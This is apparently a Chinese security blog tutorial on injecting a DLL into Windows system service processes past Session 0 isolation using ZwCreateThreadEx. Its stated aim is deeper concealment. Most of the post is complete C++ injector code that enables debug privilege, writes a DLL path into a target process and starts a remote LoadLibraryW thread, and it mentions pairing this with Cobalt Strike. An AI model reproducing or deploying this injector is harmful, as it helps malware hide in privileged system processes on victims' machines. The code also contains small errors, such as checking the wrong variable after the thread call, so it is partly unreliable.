上一篇文章地址《DLL远程线程注入》
0x00 前言 {#0x00+%E5%89%8D%E8%A8%801593}
传统的远程线程技术一般是向普通用户进程注入线程。而要是想隐藏的更深,则需要突破SESSION0隔离机制,将自身进程注入到系统进程中,使得自己更加隐蔽。
突破SESSION0隔离的远程线程注入与传统的CreateRemoteThread实现DLL远程线程注入相比区别在与是用更为底层的ZwCreateEx函数来创建的。
0x01前置知识 {#0x01%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%863624}
session0介绍 {#session0%E4%BB%8B%E7%BB%8D6656}
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。https://learn.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过"劫持"该服务,达到提升自己权限级别的目的。
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。
由于SESSION 0函数必须拿到 SE_PRIVILEGE_ENABLED 权限,所以需要进行提权
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
ZwCreateEx函数 {#ZwCreateEx%E5%87%BD%E6%95%B07027}
在64位系统下函数声明
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
在32位的系统下:
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
实现原理 {#%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%869277}
ZwCreateThreadEx 函数可以突破SESSION0隔离,将DLL注入到SESSION0隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数 CreateThreadFlags 为1,它会导致线程完成后一直挂起无法恢复运行。所以要想成功注入,在调用ZwCreateTheadEx函数时将CreateSuspended值置为0,这样线程创建完成后就会恢复运行
实现效果&&完整代码 {#%E5%AE%9E%E7%8E%B0%E6%95%88%E6%9E%9C%26%26%E5%AE%8C%E6%95%B4%E4%BB%A3%E7%A0%817679}
先用系统管理员权限打开下notepad和CMD
#include <Windows.h>
#include <iostream>
#include <tchar.h>
BOOL EnableDebugPrivilege()//获得 SE_PRIVILEGE_ENABLED 权限
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
BOOL ZwCreateTheadExInject(DWORD PID, LPCTSTR DllName) {
EnableDebugPrivilege();
HANDLE hRemoteThread;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);//打开注入进程获取进程句柄
if (hProcess == NULL) {
printf("OpenProcess error: %d\n",GetLastError());
return FALSE;
}
DWORD size = (lstrlen(DllName) + 1) * sizeof(TCHAR);
LPVOID pAllocMemory = VirtualAllocEx(hProcess,NULL, size, MEM_COMMIT, PAGE_READWRITE);//为注入的进程申请内存
if(pAllocMemory == NULL) {
printf("VirtualAllocEx error\n");
return FALSE;
}
BOOL WPM = WriteProcessMemory(hProcess, pAllocMemory, DllName, size , NULL); //写入内存地址
if (WPM == NULL) {
printf("WriteProcessMemor error\n");
return FALSE;
}
HMODULE hNtdllDll = LoadLibrary(L"ntdll.dll"); //加载ntdll
if (hNtdllDll == NULL)
{
printf("Load ntdll.dll error\n");
return -1;
}
FARPROC pThead= GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取LoadLibrary地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll,"ZwCreateThreadEx");//获取ZwCreateThreadEx的地址
if (ZwCreateThreadEx == NULL) {
printf("ZwCreateThreadEx GetProcAddress ERROR");
return FALSE;
}
BOOL ZCT = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)pThead, pAllocMemory, 0, 0, 0, 0, NULL);//使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
if (ZwCreateThreadEx == NULL) {
printf("ZCT IS ERROR\n");
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
return TRUE;
}
int _tmain(int argc,TCHAR* argv[]) {
BOOL result = ZwCreateTheadExInject((DWORD)_tstol(argv[1]),argv[2]);
if (FALSE == result)
printf("DLL INJECT IS ERROR\n");
else
printf("Successfully to INJECT\n");
}
PS:如果是准备注入到系统进程当中,由于会话隔离的原因,系统服务程序是是不能通过弹窗的方式来判断是否注入成功了。由于zhe'l本人懒得开cs了,就直接用弹窗dll注入给管理员权限的文件了~~~